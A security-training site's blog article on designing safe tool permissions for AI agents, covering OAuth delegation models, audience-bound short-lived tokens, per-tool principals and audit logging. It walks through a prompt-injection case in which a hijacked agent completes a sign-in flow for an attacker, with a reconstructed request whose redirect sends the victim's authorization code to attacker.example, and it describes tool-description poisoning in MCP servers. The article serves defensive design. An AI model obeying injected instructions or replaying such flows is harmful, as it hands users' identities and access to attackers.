VULNAREX
Secure Learning Network
ACCESS MODULE
πŸ›‘οΈTraining Arenas
07 MODULES
LabsCORE
Interactive exploit and defense labs
CoursesLEARN
Structured learning tracks and missions
SandboxLIVE
Live browser and terminal hacking arena
WhiteboardPLAN
Attack planning and vector sketches
PracticeCODE
Hands-on code and vulnerability exercises
ReviewRECALL
Spaced repetition and concept recall
ToolsUTIL
Crypto, encoding, analysis and security utilities
ACCESS MODULE
πŸ“–Knowledge Vaults
08 MODULES
ArticlesREAD
Deep-dive security investigations
How-To GuidesBUILD
Folder-organized practical walkthroughs
BlogsNEWS
Cyber threat news and analysis
BooksLIB
Security textbooks and PDF library
CheatsheetsREF
Quick reference payloads and commands
ResourcesVAULT
Security downloads, references and repositories
DocsDOCS
Platform docs, guides and protocols
VulnerabilitiesCVE
CVEs, advisories and KEV intelligence
ACCESS MODULE
πŸ’ΌCareer Prep
09 MODULES
ExamsCERT
Certification and challenge preparation
Interview QuestionsCAREER
Questions and answer walkthroughs
DashboardSTATS
XP, progress and live rank telemetry
Learning PathsROADMAP
Guided role-based learning roadmaps
Skill GraphSKILLS
Skill mastery, gaps and next actions
Daily MissionsDAILY
Personalized daily training objectives
Knowledge BaseMEMORY
Your searchable security memory
ServicesPRO
Consulting, training and expert reviews
ContactCONTACT
Connect with Vulnarex operations
AboutCommunity
Script KiddieLV.1
0
Operator Progress
Level 1
500 XP until next level
0 XP500 XP
Login
VULNAREX // CORE
Command Center
Status
ONLINE
XP
0
Level
1
Script Kiddie0/500
πŸ›‘οΈTraining Arenas
LabsCORE
Interactive exploit and defense labs
CoursesLEARN
Structured learning tracks and missions
SandboxLIVE
Live browser and terminal hacking arena
WhiteboardPLAN
Attack planning and vector sketches
PracticeCODE
Hands-on code and vulnerability exercises
ReviewRECALL
Spaced repetition and concept recall
ToolsUTIL
Crypto, encoding, analysis and security utilities
πŸ“–Knowledge Vaults
ArticlesREAD
Deep-dive security investigations
How-To GuidesBUILD
Folder-organized practical walkthroughs
BlogsNEWS
Cyber threat news and analysis
BooksLIB
Security textbooks and PDF library
CheatsheetsREF
Quick reference payloads and commands
ResourcesVAULT
Security downloads, references and repositories
DocsDOCS
Platform docs, guides and protocols
VulnerabilitiesCVE
CVEs, advisories and KEV intelligence
πŸ’ΌCareer Prep
ExamsCERT
Certification and challenge preparation
Interview QuestionsCAREER
Questions and answer walkthroughs
DashboardSTATS
XP, progress and live rank telemetry
Learning PathsROADMAP
Guided role-based learning roadmaps
Skill GraphSKILLS
Skill mastery, gaps and next actions
Daily MissionsDAILY
Personalized daily training objectives
Knowledge BaseMEMORY
Your searchable security memory
ServicesPRO
Consulting, training and expert reviews
ContactCONTACT
Connect with Vulnarex operations
πŸ”—More
AboutCommunity
Login / Register
VULNAREX SECURE ACCESS CORE
Intel Dispatch Β· Subscribe

Get Exploit Alerts & New Release Drops

Advanced exploit dissections, CVE breakdowns, and new lab drops β€” straight to your inbox. Unsubscribe anytime.

VULNAREX

A gamified offensive-security sandbox for developers, sysadmins, and researchers β€” from baseline hardening to kernel-level exploits.

Core Instance Β· Active & Stable
Telegram WhatsApp Facebook X / Twitter YouTube
Training
  • Labs
  • Courses
  • Sandbox
  • Component Library
  • Practice
  • Whiteboard
  • Tools
Knowledge
  • Articles
  • How-To Guides
  • Blogs
  • Books
  • Cheatsheets
  • Docs
  • Vulnerabilities
Career
  • Exams
  • Interview Prep
  • Dashboard
  • Learning Paths
  • Services
  • Contact
  • Community
Cluster Nodes
Active Nodes99.98% SLA
London Β· UK
24ms
Berlin Β· DE
18ms
Virginia Β· US
42ms
Tokyo Β· JP
95ms
30-day uptime99.98%

Β© 2026 VULNAREX SECURE LABS Β· ALL RECON FLAGS PROTECTED

PrivacyΒ·TermsΒ·DisclaimerΒ· TLS 1.3Β·Built with
Threat intel workflow

Read, triage, then act.

Keep a reading queue, use focused reading sprints, and convert intelligence into training reps.

Reading queueDeep researchPracticeThreat desk
Persistent local workspace
Briefings desk
2025-09-05 β€’ 10 min
Artificial Intelligence ENTRY

AI Agent Permissions: Designing Safe Tool Access

Vulnarex Research Team
Vulnarex Research TeamThreat Intelligence Analyst
#Agentic AI#OAuth#Identity and Access#AI Security#MCP

#Grant the Action, Not the Agent#link

Every agent design review I sit in on gets the capability question right β€” what can this thing do? β€” and skips the one that decides whether it's safe: whose identity does the work? In late August 2025, academic researchers published a demonstration they called the Agent Rental Problem, and it answers the skipped question the hard way. A victim's AI agent, injected through a malicious attachment, gets steered to an attacker's site and completes a 'Sign in with Google' flow on its own β€” the browser session is the victim's, the app was consented long ago, so the provider answers with a redirect and the attacker walks away holding the victim's authenticated identity. No password stolen, no exploit deployed. It worked because of a permission decision made months earlier: the agent acts as the user, so nothing downstream can tell their traffic apart. The six questions below are the ones worth answering in design review instead of in retrospect, in roughly the order teams hit them.

Whose Identity Is Acting?

Three models exist, and the first is what ships when nobody decides. Passthrough: the agent spends the user's live tokens, inheriting every scope they hold β€” tempting because it needs no new infrastructure, and disastrous because "the agent can do everything I can do" is the bug, not the feature. Shared service account: one over-scoped identity for the whole agent. A boundary finally exists, but it's a single moat around everything, so one crossing takes all of it. Per-tool scoped principals: each tool gets its own identity, scoped to its one function β€” small grants, clean logs, and a compromise ceiling that matches a tool's actual job. The rental attack only works under the first model, because completing login as the user was the entire design.

HTTP Inspector

The rental moment β€” an OAuth authorization with no human in it

Reconstructed from the Agent Rental Problem research. The victim's injected agent loads the attacker's page, which starts a 'Sign in with…' flow. The IdP finds a live session for the victim plus an existing consent grant for the app, so it responds with a redirect β€” no password, no click, no prompt. The code in the Location header is the victim's identity, delivered.

Request
GET /o/oauth2/v2/auth?client_id=invoice-portal-prod&redirect_uri=https://attacker.example/cb&response_type=code&scope=openid%20email%20profile&state=s1
Cookie: SIDCC=<the victim's active IdP session, carried by the browser the agent controls>
Response
302 Found
Location: https://attacker.example/cb?code=4/0AVG7fiTz9xQ...&state=s1

Notice what the flow required: no stolen credential, no endpoint malware, no protocol flaw. A live IdP session, a prior consent grant for a first-party-looking client, and a browser the agent controls β€” the provider saw a returning user and answered with a redirect. The same chain against a corporate IdP is worse: the attacker's page becomes a front door that mints the victim's intranet identity, and the session it produces is indistinguishable from theirs in every downstream log.

callout

Skip the identity design and the agent's identity defaults to yours β€” its tokens, its quotas, its limits, its audit trail. Everything that follows comes from refusing that default: the agent is not a user, and "act as me" is not an authorization model.

Delegation modelWhat it grants the agentFailure ceilingBottom line
User token passthroughWhatever the user can do, live β€” every scope, every systemThe user's entire access, spendable by whatever reaches the agentBanned by the MCP spec for good reason; eliminate it first
Shared agent service accountOne static, over-scoped identity across all tools and agentsEverything the account touches β€” one leak drains the whole walletThe default most teams ship; plan the migration off it
Per-tool scoped principalsEach tool gets its own least-privilege identity for its one jobThat tool's legitimate function, nothing elseThe design target β€” more principals, now trivially cheap to manage

What Should the Agent Be Allowed to Ask For?

Scope, audience, lifetime β€” get any of the three wrong and even a clean architecture leaks. The MCP authorization spec (2025-06-18 revision) is unusually blunt: servers are OAuth 2.1 resource servers, tokens must be validated, and forwarding a token to a downstream API β€” passthrough β€” is banned outright. The spec's stated reasons are the mechanism: a token minted for one service and spent at another breaks audience validation, and once a token is spendable everywhere, attribution dies with it β€” the audit trail converges on whatever identity the token claims. Audience binding is what makes "this token only works there" true: the client sends a resource parameter (RFC 8707), the issued token carries the audience in its aud claim, and the downstream API rejects anything minted for anyone else. Scope granularity exists off the shelf β€” GitHub's fine-grained tokens do per-repository, per-permission grants: issues:read on two repos instead of a blanket scope over everything private. When a provider can't express grants at that grain, treat the provider as part of your threat model.

typescript
// The agent never holds a user token. It holds a capability:
// short-lived, bound to one API, scoped to a named action set.
import { SignJWT } from "jose";
interface Capability {
agent: string; // the actor β€” "triage-bot-2", never a human
delegatedBy: string; // the human who authorized the session, for audit
audience: string; // exactly one downstream API (RFC 8707)
actions: string[]; // ["issues:read", "issues:comment"] β€” nothing else
maxRows: number; // enforced by the receiving API, not the agent
ttlSeconds: number;
}
export async function mintCapability(c: Capability, signingKey: CryptoKey) {
if (c.ttlSeconds > 900) throw new Error("capability exceeds 15-minute ceiling");
if (c.maxRows > 500) throw new Error("writes beyond 500 rows require JIT elevation");
return new SignJWT({ delegatedBy: c.delegatedBy, caps: { maxRows: c.maxRows } })
.setProtectedHeader({ alg: "ES256" })
.setSubject(c.agent) // sub = the agent, so attribution survives
.setAudience(c.audience) // aud = downstream rejects every other mint
.setJti(crypto.randomUUID()) // revocable grant-by-grant
.setIssuedAt()
.setExpirationTime(`${c.ttlSeconds}s`)
.sign(signingKey);
}
// The receiving API re-checks scope AND caps on every call.
// A capability nothing re-validates is a password with extra steps.
note

Two traps eat otherwise sound designs. First, audience binding only works if the IdP honors it β€” several silently drop RFC 8707's resource parameter for legacy clients, so send it, then decode the token and confirm the aud claim actually names your API (the check below automates that). Second, a 15-minute access-token TTL is theater when the refresh token behind it lives for months: time-box and rotate refresh tokens, and make their revocation the real kill switch β€” that's what mints the next access token after your careful expiry has done its job.

Verify the audience actually landed in the token
root@vulnarex:~#TOKEN=$(curl -s -X POST https://auth.corp.internal/oauth/token \
root@vulnarex:~#-d grant_type=client_credentials \
root@vulnarex:~#-d resource=https://api.issues.corp.internal \
root@vulnarex:~#-d client_id=triage-bot-2 -d client_secret="$SECRET" | jq -r .access_token)
root@vulnarex:~#printf '%s' "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq '{aud, sub, scope, exp}'

One Identity or Many?

A single shared service account is what everyone ships β€” one identity, all tools, production credentials, created in an afternoon. Its failure math is brutal: a compromised tool borrows the whole wallet, one leaked secret costs every integration at once, and the logs show one identity doing everything, which makes anomaly detection nearly useless. Per-tool principals invert that. A hijacked tool can do what that tool does β€” which is its legitimate job β€” and nothing else. Logs decompose into per-identity streams you can actually baseline: the comment tool hitting the issues API four hundred times a minute is loud when that principal normally posts a few comments an hour. The standing objection is credential sprawl, and it's dated β€” workload identity federation and modern secrets managers mint short-lived, per-service credentials as configuration. Sprawl with small grants beats concentration with a large one every time you run the numbers. Worth separating from runtime policy, too: what a principal may do is enforcement, who it is on the wire is identity, and you need both β€” enforcement without identity gives you an unlabeled failure zone.

What Does 'Read-Only' Mean When the Tool Describes Itself?

Permissions are granted against descriptions, which makes the tool manifest the load-bearing document in your whole authorization model β€” and nobody wrote it under your review. Two failure modes matter. The description can lie at registration: the tool-poisoning demonstrations in early 2025 shipped MCP servers with instructions hidden in description fields β€” the human approving the tool sees "fetches weather data," and the model reads the rest. And the description can change after approval, because most clients silently re-read the manifest on every reconnect without diffing so much as a line. The controls follow from the mechanism: pin the server to a version or content hash, diff the tool list and every description on each connect, treat any change as a fresh permission request, and keep an inventory of reviewed manifests so re-approval is a decision rather than a reflex.

STRICT SECURE AUDIT RULE

⚠️ Every grant you make is underwritten by a description, and descriptions are supply chain. The plumbing that carries the grant executes code, too: CVE-2025-6514 (June 2025) turned the mcp-remote bridge's local OAuth listener into OS command execution on macOS and Linux via a crafted authorization response, fixed in 0.1.16. Threat-model the component that holds your tokens like the credential-store it is, and re-read its changelog like your access depends on it β€” because it does.

How Much Can One Yes Do?

Approval answers "may the agent call this tool?" β€” the sharper question is "what can one call do?" A tool with no ceiling turns a single hijacked call into a batch job. Put numbers on the danger: row caps enforced by the receiving API from the token's claims (maxRows in the capability above), dry-run as the default mode for anything that mutates state, and read and write split across separate principals so no sentence in the context window can argue a read identity into writing β€” there is no write scope on the token to escalate to. Hold just-in-time elevation for the rare legitimate bulk write: the agent requests elevation, policy or a human bounds it, and it expires on its own. Enforcement location is what makes a cap real β€” a limit the agent is merely told about is a suggestion; a limit the API computes from the token is a control.

When It Goes Wrong, Can You Say Who Did It?

Every privileged call should log a triple: which agent, through which tool, on whose delegation. That's the attribution the MCP spec had in mind when it banned passthrough β€” with forwarded tokens the audit trail converges on the user, and the agent vanishes from its own incident. Build the revocation ladder as well, because stopping an agent mid-incident is a sequence: revoke the capability grant (jti makes it surgical), then the refresh tokens, then disable the tool principal, then the agent itself. Run the test now rather than during the incident: ask your SOC which agent wrote the row they're staring at. If the only honest answer is a person's username, the delegation happened in a chat message instead of in design, and the investigation starts an hour behind.

  • β–ͺFor every agent in production, write down whose token touches each hop. Any passthrough hop goes to the top of the backlog β€” it's the one fix that removes an entire attack class.
  • β–ͺGive each tool its own principal this sprint; workload identity federation and your secrets manager make per-tool credentials a configuration task, not a project.
  • β–ͺSend resource= on every token request, then decode the token and verify aud β€” don't take the IdP's word for audience binding.
  • β–ͺTime-box refresh tokens, rotate on use, and wire their revocation into the agent's kill switch; access-token expiry alone is theater.
  • β–ͺSplit read and write into separate principals, put row caps and dry-run defaults on anything that mutates state, and reserve JIT elevation for genuine bulk writes.
  • β–ͺPin tool servers to a version or hash, diff manifests on every reconnect, and treat a changed description as a new permission request.
  • β–ͺLog agent + tool + delegating user on every privileged action, and confirm someone outside the team can answer "which agent did this" from logs alone.
  • β–ͺExpire every agent grant by default and force renewal on a schedule β€” a permission review that doubles as a liveness check on agents nobody remembers deploying.
MCP Authorization Specification (2025-06-18)https://modelcontextprotocol.io/specification/2025-06-18/basic/authorization
RFC 8707 β€” Resource Indicators for OAuth 2.0https://datatracker.ietf.org/doc/html/rfc8707
info

πŸ’‘ Agents are the first tenant that asks for access in plain English, which is why agent permissions feel like a new discipline. Underneath, they aren't: scoped principals, audience-bound tokens, expiring grants, and manifests you re-verify are two decades of identity engineering arriving late to a strange new coworker. The teams with genuinely safe tool access didn't invent novel controls β€” they declined to let a chat window count as a user, gave every action its own identity, and made every yes expire on a schedule. Get that right and safe tool access stops being a roadmap item and becomes what it should have been all along: configuration.

Comments [Closed]
Audit Verified Entry
CategoryArtificial Intelligence
Date2025-09-05
Read time10 min
Defensive Security

What Is Vulnerability Scanning? A Definitive Guide for Security Teams

Defensive Security

The Complete Guide to Vulnerability Management in 2026

Offensive Security

The Ultimate Guide to Penetration Testing: Methodologies, Tools & Best Practices

Cloud Security

SSRF to Cloud Metadata: Why 169.254.169.254 Is Still the Highest-Value IP in Your VPC

Application Security

Inside the npm Supply Chain Crisis: How Attackers Weaponized Trusted Dependencies in 2025

All details, exploit sequences, and container rules in our bulletins conform strictly to standard ethical disclosure deadlines. Keep code audits private.

EXPANSIVE THREAT FEEDS

Suggested Intelligence Briefings

Defensive Security13 min

What Is Vulnerability Scanning? A Definitive Guide for Security Teams

Vulnarex Research TeamVulnarex Research Team
Defensive Security12 min

The Complete Guide to Vulnerability Management in 2026

Vulnarex Research TeamVulnarex Research Team
Offensive Security15 min

The Ultimate Guide to Penetration Testing: Methodologies, Tools & Best Practices

Vulnarex Research TeamVulnarex Research Team